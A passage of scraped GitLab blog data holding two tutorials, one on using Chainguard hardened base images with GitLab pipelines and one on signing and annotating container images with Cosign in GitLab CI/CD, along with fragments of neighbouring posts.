17.1.7](https://about.gitlab.com/releases/2024/09/11/patch-release-gitlab-17-3-2-released/).\n",[1292,14],{"slug":1695,"featured":6,"template":677,"externalUrl":1696},"gitlab-critical-patch-release-17-3-2-17-2-5-17-1-7","https://about.gitlab.com/releases/2024/09/11/patch-release-gitlab-17-3-2-released/","content:en-us:blog:gitlab-critical-patch-release-17-3-2-17-2-5-17-1-7.yml","Gitlab Critical Patch Release 17 3 2 17 2 5 17 1 7","en-us/blog/gitlab-critical-patch-release-17-3-2-17-2-5-17-1-7.yml","en-us/blog/gitlab-critical-patch-release-17-3-2-17-2-5-17-1-7",{"_path":1702,"_dir":244,"_draft":6,"_partial":6,"_locale":7,"seo":1703,"content":1709,"config":1713,"_id":1715,"_type":16,"title":1716,"_source":17,"_file":1717,"_stem":1718,"_extension":20},"/en-us/blog/secure-open-source-container-infrastructure-with-gitlab-and-chainguard",{"title":1704,"description":1705,"ogTitle":1704,"ogDescription":1705,"noIndex":6,"ogImage":1706,"ogUrl":1707,"ogSiteName":767,"ogType":768,"canonicalUrls":1707,"schema":1708},"Secure open source container infrastructure with GitLab and Chainguard","Learn how GitLab + Chainguard can help deliver secure containerized applications faster. This tutorial includes easy-to-follow code examples.","https://res.cloudinary.com/about-gitlab-com/image/upload/v1750098693/Blog/Hero%20Images/Blog/Hero%20Images/blog-image-template-1800x945%20%2823%29_2w6waL76KROjhJHM2vXet6_1750098693265.png","https://about.gitlab.com/blog/secure-open-source-container-infrastructure-with-gitlab-and-chainguard","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"Secure open source container infrastructure with GitLab and Chainguard\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Fernando Diaz\"}],\n        \"datePublished\": \"2024-09-09\",\n      }",{"title":1704,"description":1705,"authors":1710,"heroImage":1706,"date":1711,"body":1712,"category":14},[856],"2024-09-09","Container technology, which creates consistent environments and streamlines deployment processes, is incredibly beneficial for software development. Containers contribute to faster development cycles, more efficient resource utilization, and greater flexibility in application management.\n\nSome of that efficiency can be lost, though, if organizations reinvent the wheel with each software development project. Instead, a base image should serve as the starting point for building other container images. These base images contain a bare minimum OS, essential tools, ensured compatibility, reduced image size, and other advantages.\n\nWhile base images provide a lot of value, they do have risks. It’s easy for your application to be compromised due to:\n\n- __Large attack surface:__ Base images may include extraneous packages, which could increase the attack surface.\n- __Unmanaged dependencies:__ Many dependencies in container images are not frequently updated and can be filled with vulnerabilities.\n- __Severe and unknown vulnerabilities:__ There's a high risk of severe and unknown vulnerabilities present in a base image, even in known public registries.\n- __Misconfiguration:__ Base images may be misconfigured or contain a standard configuration that contains hard-coded secrets and can lead to unauthorized access.\n\nGitLab and Chainguard provide several solutions to address these risks, including Hardened Base Images, Container Signing, and Vulnerability Scanning and Management. In this article, you'll learn how these features can be implemented to prevent breaches via containerized applications.\n\n## Chainguard’s minimal, hardened container images with low-to-no CVEs\n\nChainguard Images offer several key benefits that make them essential for organizations prioritizing security:\n\n- __Low-to-no vulnerabilities (out of the box and Day Two):__ Chainguard images are the product of a Linux distro and toolchain purposely built from the ground up to distribute patched open source software fast. \n- **Reduced attack surface:** Hardened images remove unnecessary components, libraries, and tools, significantly reducing potential entry points for attackers. This minimization of the attack surface makes it more difficult for malicious actors to exploit vulnerabilities.\n- __Improved compliance:__ Many industries have strict security regulations. Hardened images, especially those designed to meet [FIPS hardening standards](https://www.nist.gov/standardsgov/compliance-faqs-federal-information-processing-standards-fips) and to include a security technical implementation guide, or STIG, help organizations meet compliance requirements like [FedRAMP](https://about.gitlab.com/solutions/public-sector/fedramp/), PCI-DSS, etc., by adhering to security best practices and standards.\n- __Enhanced runtime security:__ Properly hardened images are less likely to be compromised during runtime, providing better protection for the applications and data they contain.\n- __Increased operational efficiency:__ Minimal images are typically smaller in size, leading to faster deployment times and reduced resource consumption.\n\nChainguard provides more than 833 minimal, hardened images that can be easily built, shipped, and run. Container images can all be stored and managed directly in GitLab Container Registry. These solutions greatly minimize container security complexity.\n\n## Chainguard image library\n\nThe [Chainguard](https://images.chainguard.dev/) directory provides hardened, minimal container images to help developers build software from the onset. With 97.6% fewer vulnerabilities than the average image, Chainguard Images help organizations swiftly reach container security compliance goals like [NIST 800-53](https://csrc.nist.gov/pubs/sp/800/53/r5/upd1/final), FedRAMP, or PCI-DSS.\n\n![Chainguard minimal, hardened container images featured section](https://res.cloudinary.com/about-gitlab-com/image/upload/v1750098702/Blog/Content%20Images/Blog/Content%20Images/1__1__aHR0cHM6_1750098702263.png)\n\n\u003Ccenter>\u003Ci>Chainguard minimal, hardened container images featured section\u003C/i>\u003C/center>\n\u003Cp>\u003C/p>\n\nThese images can be accessed directly from the Chainguard Directory. All images have the following features:\n- Build time-generated [software bill of materials](https://about.gitlab.com/blog/the-ultimate-guide-to-sboms/)\n- [Sigstore-powered attestation and provenance](https://docs.gitlab.com/ee/ci/yaml/signing_examples.html)\n- No vulnerabilities\n- Security advisory feed in [SecDB](https://www.goldmansachs.com/our-firm/history/moments/1993-secdb) and OSV formats\n\n## Using Chainguard container images in GitLab\n\nChainguard container images can be used in the following ways:\n- directly within GitLab to run jobs within a pipeline\n- stored in a Dockerfile in GitLab, which can be created, scanned for vulnerabilities, and pushed directly to the built-in container registry\n\n### Using Chainguard images in a GitLab job\n\nTo use a Chainguard image in a specific GitLab job, within your [`gitlab-ci.yml`](https://docs.gitlab.com/ee/ci/yaml/), simply set the `image` directive under the job definition to the image you wish to use. For example, the following job named `unit-tests` uses `cgr.dev/chainguard/go:latest` as the container image to run the job.\n\n```yaml\nstages:\n  - test\n\nunit-tests:\n  image: cgr.dev/chainguard/go:latest\n  stage: test\n  before_script:\n    - go mod download\n  script:\n    - go test -coverprofile=coverage.out\n  artifacts:\n    paths:\n      - coverage.out\n```\n\n### Using Chainguard images in a Dockerfile\n\nTo use a Chainguard image within a Dockerfile, simply create a Dockerfile in the root directory of your GitLab project. Then set the base image of the Dockerfile to the Chainguard image you wish to use, and add any other required commands:\n\n```dockerfile\nFROM cgr.dev/chainguard/go:latest\n\nWORKDIR /app\nCOPY . .\n\nRUN go mod download\nRUN go build -o /main .\n\nCMD [“/main”]\n```\n\nThen, you can create a job in the [`.gitlab-ci.yml`](https://docs.gitlab.com/ee/ci/yaml/) to log in to the [built-in GitLab Container Registry](https://docs.gitlab.com/ee/user/packages/container_registry/) and push the image:\n\n```yaml\nbuild-app-image:\n  stage: build\n  image: docker:latest\n  services:\n    - docker:dind\n  variables:\n    IMAGE: $CI_REGISTRY_IMAGE/$CI_DEFAULT_BRANCH:latest\n  before_script:\n    - docker login -u $CI_REGISTRY_USER -p $CI_REGISTRY_PASSWORD $CI_REGISTRY\n  script:\n    - docker build -t $IMAGE .\n    - docker push $IMAGE\n```\n\nOnce the job completes, you can see the pushed images in GitLab Container Registry by selecting **Deploy > Container Registry** from your project’s side tab.\n\n![GitLab Container Registry](https://res.cloudinary.com/about-gitlab-com/image/upload/v1750098702/Blog/Content%20Images/Blog/Content%20Images/2__1__aHR0cHM6_1750098702268.png)\n\n\u003Ccenter>\u003Ci>GitLab Container Registry\u003C/i>\u003C/center>\n\u003Cp>\u003C/p>\n\n**Note:** GitLab makes it easy to authenticate with the built-in container registry via [reserved CI/CD variables](https://docs.gitlab.com/ee/user/packages/container_registry/authenticate_with_container_registry.html#use-gitlab-cicd-to-authenticate) as seen above.\n\n## Container image signing\n\nSigning container images is a critical security measure to prevent tampering by verifying their authenticity, trust, and integrity:\n\n- **Authenticity:** Ensures the source of the image is trusted by verifying the signature attached to an image with the public key from a trusted certificate authority.\n- **Trust:** Image publishers and users can trust each other, allowing frequent image sharing. \n- **Integrity:** The signature includes a hash that can be checked to ensure the image has not been altered since the signing.\n\nThe Sigstore project provides a CLI called Cosign, which can be used for keyless signing of container images. This eliminates the need to manage safeguards and rotate the private key that will be signing the image. GitLab provides [container-signing](https://docs.gitlab.com/ee/ci/yaml/signing_examples.html) by allowing you to generate a private key via a token obtained from the GitLab server using the [OIDC identity](https://docs.gitlab.com/ee/administration/auth/oidc.html) of the user who ran the job. The token includes unique claims that certify that a CI/CD pipeline generated the token.\n\n![GitLab container image signature details](https://res.cloudinary.com/about-gitlab-com/image/upload/v1750098702/Blog/Content%20Images/Blog/Content%20Images/3__1__aHR0cHM6_1750098702270.png)\n\n\u003Ccenter>\u003Ci> GitLab container image signature details\u003C/i>\u003C/center>\n\n\u003Cp>\u003C/p>\n\nGitLab stores the container signature details in the container registry. A job can then be created to validate the signature against the certificate issuer using Cosign.\n\n# Vulnerability scanning and management\n\nAs you add more application dependencies to a hardened base image to achieve your goals, over time you may introduce vulnerabilities. By enabling security scanning provided by GitLab, you can address these risks as they come and reduce them. Additionally, when these vulnerabilities arise, vulnerability management tools are crucial for managing your security posture.\n\n## Vulnerability scanning and security guardrails\n\nIt's necessary to regularly run security scans to avoid data breaches, reduce service downtime, and prevent loss of brand reputation. Some benefits of running security scans before code is deployed to production include:\n\n- early detection and resolution\n- adherence to regulatory compliance\n- maintaining system uptime\n- building trust with customers\n- assessing and managing risk\n\nGitLab provides several analyzers to scan various parts of your application for security vulnerabilities:\n\n| Scanner Type    | Description     |\n| ---------- | ---------- |\n| [Static Application Security Testing (SAST)](https://docs.gitlab.com/ee/user/application_security/sast/) | Scans static source code for known vulnerabilities (C/C++, Java, Python, Go, JavaScript, and many more languages) |\n| [Dynamic Application Security Testing (DAST)](https://docs.gitlab.com/ee/user/application_security/dast/)       | Runs automated penetration tests to find vulnerabilities in your web applications and APIs as they are running       |\n| [Infrastructure as Code Scanning (IaC)](https://docs.gitlab.com/ee/user/application_security/iac_scanning/) | Scans infrastructure definition files for known vulnerabilities (Terraform, Ansible, AWS Cloudformation, Kubernetes, and many more) |\n| [Container Scanning](https://docs.gitlab.com/ee/user/application_security/container_scanning/) (including image dependencies and licenses)   | Scans container images for known vulnerabilities, including GitLab Container Registry, external container registries, Kubernetes cluster. Container image dependencies and licenses are also scanned and compared to policy |\n| [Dependency Scanning and License Compliance](https://docs.gitlab.com/ee/user/application_security/dependency_scanning/) | Scans your application’s dependencies for known vulnerabilities, including NuGet, Gradle, Maven, pip, npm, yarn, and more. Dependency licenses are also scanned and compared to policy. |\n| [Secret Detection](https://docs.gitlab.com/ee/user/application_security/secret_detection/)  | Scans your repository for secrets, such as keys and passwords. Scans all text files regardless of language or framework. Can be set to reject pushes if a secret is detected and can run in browser to warn if you are about to post a potential secret. |\n| [Web API Fuzzing](https://docs.gitlab.com/ee/user/application_security/api_fuzzing/)  | Sets operation parameters to unexpected values to cause unexpected behavior and errors in the API backend  |\n| [Coverage-guided Fuzzing](https://docs.gitlab.com/ee/user/application_security/coverage_fuzzing/)  | Sends random inputs to an instrumented version of your application to cause unexpected behavior  |\n\nThese scanners can be easily added to your pipeline by simply importing the appropriate scanner template in your `.gitlab-ci.yml`. For example, to [enable SAST](https://docs.gitlab.com/ee/user/application_security/sast/#configure-sast-in-your-cicd-yaml), simply add the following to your `.gitlab-ci.yml`:\n\n```yaml\nstages:\n  - test\n\ninclude:\n  - template: Jobs/SAST.gitlab-ci.yml\n```\n\nOnce you've enabled the scanners, whenever you create a merge request to commit code from a feature branch into another branch, [scanner results will display directly within the MR](https://docs.gitlab.com/ee/user/application_security/index.html#view-security-scan-information):\n\n![GitLab security scanner findings displayed in MR](https://res.cloudinary.com/about-gitlab-com/image/upload/v1750098702/Blog/Content%20Images/Blog/Content%20Images/4_aHR0cHM6_1750098702271.png)\n\n\u003Ccenter>\u003Ci>GitLab security scanner findings displayed in MR\u003C/i>\u003C/center>\n\n\u003Cp>\u003C/p>\n\nThese results allow developers to quickly assess, prioritize, and mitigate or remediate vulnerabilities by providing the following information:\n- description\n- severity\n- location\n- links and identifiers\n- training\n- solutions\n\n![GitLab security scanner vulnerability details](https://res.cloudinary.com/about-gitlab-com/image/upload/v1750098702/Blog/Content%20Images/Blog/Content%20Images/5_aHR0cHM6_1750098702272.png)\n\n\u003Ccenter>\u003Ci>GitLab security scanner vulnerability details\u003C/i>\u003C/center>\n\n\u003Cp>\u003C/p>\n\nAdditional actions can be taken on a vulnerability, such as:\n- dismissing the vulnerability and providing a reason to allow quicker review from the security team\n- creating an issue to collaborate later on a resolution\n\n**Note:** Scanners can also be configured and/or extended using variables and pipeline directives, just like any other GitLab job.\n\n### Security guardrails\n\nThe scanners mentioned above can be used along with [security policies](https://docs.gitlab.com/ee/user/application_security/policies/) to prevent insecure code from being merged into production and to ensure that the scanners are run on every pipeline. GitLab provides the following security policy types:\n\n- __Merge request approval policy:__  Create rules that check for security vulnerabilities and license compliance before merging a merge request.\n- __Scan execution policy:__ Create rules that enforce security scans for particular branches at a certain time.\n- __Pipeline execution policy:__ Enforce a custom CI/CD configuration to run in project pipelines.\n\nImplementing these policies ensures that when creating an MR, security scans and custom compliance jobs will be run, and that approval will be required if vulnerabilities or incompatible licenses are detected:\n\n![Merge request approval required due to vulnerabilities and incompatible licenses](https://res.cloudinary.com/about-gitlab-com/image/upload/v1750098702/Blog/Content%20Images/Blog/Content%20Images/6_aHR0cHM6_1750098702273.png)\n\n\u003Ccenter>\u003Ci>Merge request approval required due to vulnerabilities and incompatible licenses\u003C/i>\u003C/center>\n\n## Vulnerability reports\n\nDetecting vulnerabilities before they make it to production is important, but it is equally important to determine and manage vulnerabilities that make their way into production, so that they can be mitigated accordingly.\n\n[GitLab Vulnerability Report](https://docs.gitlab.com/ee/user/application_security/vulnerability_report/) provides information on all the detected vulnerabilities from scans of the default branch (which may be your staging or production branch):\n\n![Vulnerability report with filters applied](https://res.cloudinary.com/about-gitlab-com/image/upload/v1750098702/Blog/Content%20Images/Blog/Content%20Images/7_aHR0cHM6_1750098702274.png)\n\n\u003Ccenter>\u003Ci>Vulnerability report with filters applied\u003C/i>\u003C/center>\n\n\u003Cp>\u003C/p>\n\nIf you select a vulnerability, you’ll be taken to its vulnerability page, which displays the same vulnerability details as you would see in the MR view. You can use this view to quickly assess, prioritize, and mitigate or remediate vulnerabilities:\n\n![Vulnerability page for improper authorization vulnerability](https://res.cloudinary.com/about-gitlab-com/image/upload/v1750098702/Blog/Content%20Images/Blog/Content%20Images/8_aHR0cHM6_1750098702275.png)\n\n\u003Ccenter>\u003Ci>Vulnerability page for improper authorization vulnerability\u003C/i>\u003C/center>\n\n\u003Cp>\u003C/p>\n\nThe security team can manage vulnerabilities by setting their status to one of the following:\n\n- Detected: The default state for a newly discovered vulnerability.\n- Confirmed: A user has seen this vulnerability and confirmed it is accurate.\n- Dismissed: A user has seen this vulnerability and dismissed it because it is inaccurate or otherwise not to be resolved. Dismissed vulnerabilities are ignored if detected in subsequent scans.\n- Resolved: The vulnerability has been fixed or is no longer present. If a resolved vulnerability is reintroduced and detected again, its record is reinstated and its status set to detected.\n\n## Software bill of materials\n\nA software bill of materials (SBOM) is a comprehensive inventory that lists all the components, dependencies, and associated metadata of a software application. SBOMs are vital for organizations to effectively manage software security, compliance, and supply chain risks.\n\nChainguard provides high-quality, [out-of-the-box SBOMs](https://images.chainguard.dev/directory/image/go/sbom) for their container images in SPDX format. The SBOM can be converted into CycloneDX format and loaded into or compared with the results of GitLab’s dependency list. The [dependency list](https://docs.gitlab.com/ee/user/application_security/dependency_list/) is an SBOM generated from an artifact or the results of the dependency, container, and license scanners:\n\n![Dependency List with some components expanded](https://res.cloudinary.com/about-gitlab-com/image/upload/v1750098702/Blog/Content%20Images/Blog/Content%20Images/9_aHR0cHM6_1750098702276.png)\n\n\u003Ccenter>\u003Ci>Dependency List with some components expanded\u003C/i>\u003C/center>\n\n\u003Cp>\u003C/p>\n\nChainguard images meet [SLSA Level 2 requirements](https://slsa.dev/spec/v0.1/levels?ref=fossa.com) and are verified, signed, and attested with signatures. Furthermore, GitLab CI can [generate and produce attestation/provenance metadata](https://docs.gitlab.com/ee/ci/runners/configure_runners.html#artifact-provenance-metadata) for all build artifacts. By using Chainguard with GitLab, you can prevent tampering and provide additional build integrity guarantees.\n\n## Learn more\n\nTo learn more about GitLab and Chainguard, and how we can help enhance your security posture, check out the following resources:\n\n- [GitLab Security and Compliance Solutions](https://about.gitlab.com/solutions/security-compliance/)\n- [GitLab Application Security Documentation](https://docs.gitlab.com/ee/user/application_security/get-started-security.html)\n- [GitLab pricing](https://about.gitlab.com/pricing/)\n- [Chainguard Images](https://www.chainguard.dev/chainguard-images)\n- [Chainguard Compliance and Risk Mitigation](https://www.chainguard.dev/solutions/compliance-and-risk-mitigation)\n- [Chainguard Sales](https://www.chainguard.dev/contact?utm_source=blog&utm_medium=partner&utm_campaign=GitLab_announcement_blog&utm_content=article)\n",{"slug":1714,"featured":6,"template":677},"secure-open-source-container-infrastructure-with-gitlab-and-chainguard","content:en-us:blog:secure-open-source-container-infrastructure-with-gitlab-and-chainguard.yml","Secure Open Source Container Infrastructure With Gitlab And Chainguard","en-us/blog/secure-open-source-container-infrastructure-with-gitlab-and-chainguard.yml","en-us/blog/secure-open-source-container-infrastructure-with-gitlab-and-chainguard",{"_path":1720,"_dir":244,"_draft":6,"_partial":6,"_locale":7,"seo":1721,"content":1727,"config":1734,"_id":1736,"_type":16,"title":1737,"_source":17,"_file":1738,"_stem":1739,"_extension":20},"/en-us/blog/annotate-container-images-with-build-provenance-using-cosign-in-gitlab-ci-cd",{"title":1722,"description":1723,"ogTitle":1722,"ogDescription":1723,"noIndex":6,"ogImage":1724,"ogUrl":1725,"ogSiteName":767,"ogType":768,"canonicalUrls":1725,"schema":1726},"Container image provenance with Cosign in GitLab CI/CD","Use GitLab pipelines to automate building, signing, and annotating Docker images. This tutorial shares code to show you how. Try it out in your own organization.","https://res.cloudinary.com/about-gitlab-com/image/upload/v1750098395/Blog/Hero%20Images/Blog/Hero%20Images/blog-image-template-1800x945%20%2823%29_2w6waL76KROjhJHM2vXet6_1750098395162.png","https://about.gitlab.com/blog/annotate-container-images-with-build-provenance-using-cosign-in-gitlab-ci-cd","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"Annotate container images with build provenance using Cosign in GitLab CI/CD\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"João Pereira\"},{\"@type\":\"Person\",\"name\":\"Tim Rizzi\"}],\n        \"datePublished\": \"2024-09-04\",\n      }",{"title":1728,"description":1723,"authors":1729,"heroImage":1724,"date":1731,"body":1732,"category":14,"tags":1733},"Annotate container images with build provenance using Cosign in GitLab CI/CD",[1730,815],"João Pereira","2024-09-04","Container security has become a critical concern in software development. As organizations increasingly rely on containerized applications, ensuring the integrity and traceability of container images is paramount. Enhancing the security and traceability of your container images directly in your GitLab CI/CD pipeline can streamline your development process while significantly boosting your security posture.\n\nThis tutorial demonstrates setting up a GitLab pipeline to automate the process of building, signing, and annotating Docker images using Cosign and the GitLab container registry. By integrating these practices, you'll secure your images and ensure that each one is easily traceable, aligning with best practices in DevSecOps.\n\n## Background on container image security\n\nBefore we dive into the technical details, it's crucial to understand why container image security is so important. In [microservices](https://about.gitlab.com/topics/microservices/) and cloud-native applications, containers have become the standard for packaging and deploying software. However, this widespread adoption has also made containers an attractive target for cyber attacks.\n\nContainer image security is a vital component of the broader [software supply chain security](https://about.gitlab.com/blog/the-ultimate-guide-to-software-supply-chain-security/) concept. This encompasses all the tools, processes, and practices that ensure your software's integrity, authenticity, and security from development to deployment. By securing your container images, you're protecting your application and your entire software supply chain.\n\n## Introduction to Cosign\n\nEnter [Cosign](https://about.gitlab.com/blog/keyless-signing-with-cosign/), a tool designed to address these security concerns. Cosign is part of the Sigstore project, an open-source initiative aimed at improving the security of the software supply chain. Cosign allows developers to sign and verify container images, ensuring their integrity and authenticity.\n\nKey benefits of Cosign include:\n\n- easy integration with existing CI/CD pipelines\n- support for various signing methods, including keyless signing\n- ability to attach and verify arbitrary metadata to container images\n\nBy incorporating Cosign into your GitLab CI/CD pipeline, you're taking a significant step towards robust [DevSecOps](https://about.gitlab.com/topics/devsecops/) practices.\n\n## Benefits of image signing and annotation\n\nImage signing serves as a seal of authenticity for your container images. It helps prevent tampering and ensures that the image deployed in your production environment is precisely the one that passed through your secure build process.\n\nAnnotations, on the other hand, provide valuable metadata about the build process. This information is used for auditing and traceability. In a security incident, having detailed provenance data can significantly speed up the investigation and remediation process.\n\n## GitLab CI/CD pipeline configuration\n\nLet's look at an example `.gitlab-ci.yml` file that outlines the process of building, signing, and annotating a Docker image using Cosign:\n\n```yaml\nstages:\n  - build\n\nbuild_and_sign:\n  stage: build\n  image: docker:latest\n  services:\n    - docker:dind  # Enable Docker-in-Docker service to allow Docker commands inside the container\n  variables:\n    IMAGE_TAG: $CI_COMMIT_SHORT_SHA  # Use the commit short SHA as the image tag\n    IMAGE_URI: $CI_REGISTRY_IMAGE:$IMAGE_TAG  # Construct the full image URI with the registry, project path, and tag\n    COSIGN_YES: \"true\"  # Automatically confirm actions in Cosign without user interaction\n    FF_SCRIPT_SECTIONS: \"true\"  # Enables GitLab's CI script sections for better multi-line script output\n  id_tokens:\n    SIGSTORE_ID_TOKEN:\n      aud: sigstore  # Provide an OIDC token for keyless signing with Cosign\n  before_script:\n    - apk add --no-cache cosign jq  # Install Cosign (mandatory) and jq (optional)\n    - docker login -u \"gitlab-ci-token\" -p \"$CI_JOB_TOKEN\" \"$CI_REGISTRY\"  # Log in to the Docker registry using GitLab CI token\n  script:\n    # Build the Docker image using the specified tag and push it to the registry\n    - docker build --pull -t \"$IMAGE_URI\" .\n    - docker push \"$IMAGE_URI\"\n\n    # Retrieve the digest of the pushed image to use in the signing step\n    - IMAGE_DIGEST=$(docker inspect --format='{{index .RepoDigests 0}}' \"$IMAGE_URI\")\n\n    # Sign the image using Cosign with annotations that provide metadata about the build and tag annotation to allow verifying\n    # the tag->digest mapping (https://github.com/sigstore/cosign?tab=readme-ov-file#tag-signing)\n    - |\n      cosign sign \"$IMAGE_DIGEST\" \\\n        --annotations \"com.gitlab.ci.user.name=$GITLAB_USER_NAME\" \\\n        --annotations \"com.gitlab.ci.pipeline.id=$CI_PIPELINE_ID\" \\\n        --annotations \"com.gitlab.ci.pipeline.url=$CI_PIPELINE_URL\" \\\n        --annotations \"com.gitlab.ci.job.id=$CI_JOB_ID\" \\\n        --annotations \"com.gitlab.ci.job.url=$CI_JOB_URL\" \\\n        --annotations \"com.gitlab.ci.commit.sha=$CI_COMMIT_SHA\" \\\n        --annotations \"com.gitlab.ci.commit.ref.name=$CI_COMMIT_REF_NAME\" \\\n        --annotations \"com.gitlab.ci.project.path=$CI_PROJECT_PATH\" \\\n        --annotations \"org.opencontainers.image.source=$CI_PROJECT_URL\" \\\n        --annotations \"org.opencontainers.image.revision=$CI_COMMIT_SHA\" \\\n        --annotations \"tag=$IMAGE_TAG\"\n\n    # Verify the image signature using Cosign to ensure it matches the expected annotations and certificate identity\n    - |\n      cosign verify \\\n        --annotations \"tag=$IMAGE_TAG\" \\\n        --certificate-identity \"$CI_PROJECT_URL//.gitlab-ci.yml@refs/heads/$CI_COMMIT_REF_NAME\" \\\n        --certificate-oidc-issuer \"$CI_SERVER_URL\" \\\n        \"$IMAGE_URI\" | jq .  # Use jq to format the verification output for easier readability\n```\n\nLet's break down this pipeline configuration and understand each part in detail.\n\n## Detailed explanation of the pipeline\n\n### 1. Setup and prerequisites\n\nThe pipeline starts by setting up the necessary environment:\n\n* It uses the `docker:latest` image and enables Docker-in-Docker service, allowing Docker commands to be run within the CI job.\n* It defines variables for the image tag and URI using GitLab CI/CD predefined variables.\n* It sets up an OIDC token for keyless signing with Cosign.\n* In the `before_script` section, it installs Cosign and jq (for JSON processing) and logs into the GitLab container registry.\n\n### 2. Building and pushing the image\n\nThe first step in the script is to build the Docker image and push it to the GitLab container registry:\n\n```yaml\n- docker build --pull -t \"$IMAGE_URI\" .\n- docker push \"$IMAGE_URI\"\n```\n\nThis creates the image using the current directory's Dockerfile and pushes it to the registry.\n\n### 3. Signing the image with Cosign\n\nAfter building and pushing the image, the pipeline signs it using Cosign:\n\n```yaml\n- IMAGE_DIGEST=$(docker inspect --format='{{index .RepoDigests 0}}' \"$IMAGE_URI\")\n- |\n  cosign sign \"$IMAGE_DIGEST\" \\\n    --annotations \"com.gitlab.ci.user.name=$GITLAB_USER_NAME\" \\\n    --annotations \"com.gitlab.ci.pipeline.id=$CI_PIPELINE_ID\" \\\n    # ... (other annotations) ...\n    --annotations \"tag=$IMAGE_TAG\"\n```\n\nThis step first retrieves the image digest and then uses Cosign to sign the image, adding several annotations.\n\n## Verifying the signature and annotations\n\nAfter signing the image, it's crucial to verify the signature and the annotations we've added. This verification step ensures that the provenance data attached to the image is correct and hasn't been tampered with.\n\nIn our pipeline, we've included a verification step using the `cosign verify` command:\n\n```yaml\n- |\n  cosign verify \\\n    --annotations \"tag=$IMAGE_TAG\" \\\n    --certificate-identity \"$CI_PROJECT_URL//.gitlab-ci.yml@refs/heads/$CI_COMMIT_REF_NAME\" \\\n    --certificate-oidc-issuer \"$CI_SERVER_URL\" \\\n    \"$IMAGE_URI\" | jq .\n```\n\nThis command verifies the signature and checks the annotations. Its output will show all the annotations we've added to the image during the signing process.\n\nHere's what you might see in your pipeline logs after running this command:\n\n![verifying the signature and checking annotations](https://res.cloudinary.com/about-gitlab-com/image/upload/v1750098404/Blog/Content%20Images/Blog/Content%20Images/image1_aHR0cHM6_1750098404260.png)\n\nIn this output, you should see all the annotations we added earlier, including:\n\n* GitLab CI user name\n* Pipeline ID and URL\n* Job ID and URL\n* Commit SHA and reference name\n* Project path\n* Image source and revision\n\nBy verifying these annotations, you can ensure that the image's provenance data is intact and matches what you expect based on your build process. This verification step is crucial for maintaining the integrity of your software supply chain. It allows you to confirm that the image you're about to deploy has gone through your secure build process and has yet to be modified since it was signed.\n\n## Summary\n\nBy integrating Cosign into your GitLab CI/CD pipeline, you've taken a significant step toward securing your software supply chain. This setup not only automates securing and annotating your container images with build metadata but also ensures a transparent and traceable build process.\n\nThe benefits of this approach are numerous:\n\n- enhanced security through image signing\n- improved traceability with detailed build provenance data\n- automated verification process\n- alignment with DevSecOps best practices\n\nAs container security continues to be a critical concern in the software development lifecycle, implementing these practices puts you ahead of potential security threats and demonstrates a commitment to software integrity.\n\n## Try it in your organization\n\nNow that you've seen how to enhance your container security using Cosign in GitLab CI/CD, it's time to put this knowledge into practice:\n\n1. **Implement in your projects**: Adapt the provided `.gitlab-ci.yml` file to fit your specific needs.\n2. **Explore further**: Dive deeper into Cosign's capabilities. Consider exploring advanced features like policy enforcement or integration with vulnerability scanning tools.\n3. **Share your experience**: After implementing this in your projects, share your experience with your team or the wider GitLab community. Your insights could help others enhance their security practices.\n4. **Stay updated**: Container security is an evolving field. Check GitLab's blog and documentation for new features and best practices updates.\n5. **Contribute**: If you find ways to improve this process or encounter any issues, consider contributing to the GitLab or Cosign open-source projects.\n\nRemember, security is a journey, not a destination. By taking these steps, you're securing your containers and contributing to a more secure software ecosystem for everyone.\n\nStart implementing these practices in your GitLab projects today, and take your container security to the next level!\n\n> Get started today! Sign up for a [free 30-day trial of GitLab Ultimate](https://gitlab.com/-/trial_registrations/new?glm_source=about.gitlab.com/blog&glm_content=default-saas-trial)!\n\n## Read more\n\n- [Next-generation GitLab container registry goes GA](https://about.gitlab.com/blog/next-generation-gitlab-container-registry-goes-ga/)\n- [A beginner's guide to container security](https://about.gitlab.com/topics/devsecops/beginners-guide-to-container-security/)\n- [DevSecOps basics, including security](https://about.gitlab.com/topics/devsecops/)\n- [What is CI/CD?](https://about.gitlab.com/topics/ci-cd/)\n",[14,696,695,715],{"slug":1735,"featured":6,"template":677},"annotate-container-images-with-build-provenance-using-cosign-in-gitlab-ci-cd","content:en-us:blog:annotate-container-images-with-build-provenance-using-cosign-in-gitlab-ci-cd.yml","Annotate Container Images With Build Provenance Using Cosign In Gitlab Ci Cd","en-us/blog/annotate-container-images-with-build-provenance-using-cosign-in-gitlab-ci-cd.yml","en-us/blog/annotate-container-images-with-build-provenance-using-cosign-in-gitlab-ci-cd",{"_path":1741,"_dir":244,"_draft":6,"_partial":6,"_locale":7,"seo":1742,"content":1748,"config":1755,"_id":1757,"_type":16,"title":1758,"_source":17,"_file":1759,"_stem":1760,"_extension":20},"/en-us/blog/how-to-choose-the-right-security-scanning-approach",{"title":1743,"description":1744,"ogTitle":1743,"ogDescription":1744,"noIndex":6,"ogImage":1745,"ogUrl":1746,"ogSiteName":767,"ogType":768,"canonicalUrls":1746,"schema":1747},"How to choose the right security scanning approach","GitLab offers multiple scanning methods for CI/CD pipelines, including compliance frameworks and scan and pipeline execution policies. Learn the basics, configurations, and advantages/disadvantages.","https://res.cloudinary.com/about-gitlab-com/image/upload/v1750097969/Blog/Hero%20Images/Blog/Hero%20Images/AdobeStock_282096522_securitycompliance.jpeg_1750097968823.jpg","https://about.gitlab.com/blog/how-to-choose-the-right-security-scanning-approach","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"How to choose the right security scanning approach\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Matt Genelin\"},{\"@type\":\"Person\",\"name\":\"Mathias Ewald\"}],\n        \"datePublished\": \"2024-08-26\",\n      }",{"title":1743,"description":1744,"authors":1749,"heroImage":1745,"date":1752,"body":1753,"category":14,"tags":1754},[1750,1751],"Matt Genelin","Mathias Ewald","2024-08-26","Integrating security scans into your CI/CD pipeline is crucial for maintaining robust and secure applications. But who's responsible for those scans? Who is responsible for adding them into every CI/CD pipeline for all projects? And who decides which identified vulnerability may pass or needs fixing? For organizations in regulated industries, these are critical questions.\n\nIn this article, you'll learn how GitLab [CI/CD](https://about.gitlab.com/topics/ci-cd/) enables each person in the software development lifecycle to incorporate security scanning. You'll also discover the advantages and disadvantages of the various options 